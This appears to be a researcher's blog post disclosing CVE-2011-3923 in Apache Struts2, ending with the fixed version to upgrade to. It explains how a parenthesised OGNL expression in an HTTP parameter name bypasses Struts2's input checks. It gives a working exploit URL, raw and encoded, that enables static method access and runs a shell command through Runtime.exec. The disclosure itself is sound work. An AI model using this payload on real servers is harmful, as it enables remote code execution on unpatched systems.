Sunday, January 22, 2012

CVE-2011-3923: Yet another Struts2 Remote Code Execution

While investigating SEC Consult's Struts2 bugs (cool bugs, btw!), I've realized that due to the fact that Struts2 still allowed OGNL expression evaluation via parentheses I could evaluate OGNL expressions stored in action attributes (HTTP parameter values effectively), resulting in arbitrary code execution in Struts2 applications with default configuration (i.e. using the "params" interceptor), very similar to  CVE-2010-1870.

Expression Evaluation
So one of the OGNL's many features is expression evaluation:

(one)(two)

will evaluate one as an OGNL expression and will use its return value as another OGNL expression that it will evaluate with two as a root for the evaluation. So if one returns blah, then blah is evaluated as an OGNL statement.

CVE-2011-3923
Let's imagine we have an Action with a String parameter:

public class HelloWorldAction extends ActionSupport {
  private String foo;

  public void setFoo(String foo) {
    this.foo = foo;
  }

  public String getFoo() {
    return foo;
  }

  public String execute() throws Exception {
    return SUCCESS;
  }
}

foo is normally set via HTTP parameter, e.g. '/myaction?foo=my+string' by evaluating HTTP parameter name (foo in this case) as an OGNL statement. All HTTP parameter names in Struts2 are OGNL statements and the way Struts2 prevents users from doing scary things like modifying session or calling methods comes down to 2 things:

  • Regular expression that all HTTP parameter names are checked against and which, for example, will not allow @ or # symbols, which are needed to call static methods or modify server-side objects like #session
  • OgnlContext (#context) properties whose values are checked before invoking methods and which are set to disallow method and static method execution by default. See CVE-2010-1870 for more info.

CVE-2011-3923 is the result of ParametersInterceptor allowing parentheses and thus allowing expression evaluation, which can be exploited as follows:

/myaction?foo=<OGNL statement>&(foo)('meh')=

and here's what happens:
  1. Action attribute foo is set to the value of the foo HTTP parameter and will hold attacker's OGNL statement
  2. Second HTTP parameter named(foo)('meh')will be evaluated as an expression evaluation OGNL statement and foo action attribute will be retrieved from the action (remember we control its value via HTTP parameter) and its value will be evaluated as another OGNL statement.
Since attacker's OGNL statement is in HTTP parameter value we bypass the regular expression and are allowed to use special symbols to modify OGNL context properties to allow method execution.

Sample exploit will look as follows:

/myaction?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(foo)('meh')]=true

encoded:

/myaction?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWND%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

We need to ensure that foo attribute is set first, since we use its value later on. To achieve that I've used the z[(foo)('meh')]=true trick, which in this case results in foo being set first.

Fixing CVE-2011-3923

Please follow recommendations outlined in S2-009 and upgrade to 2.3.1.2.

Kudos to Maurizio Cucchiara from the Struts2 team for timely resolution of this issue!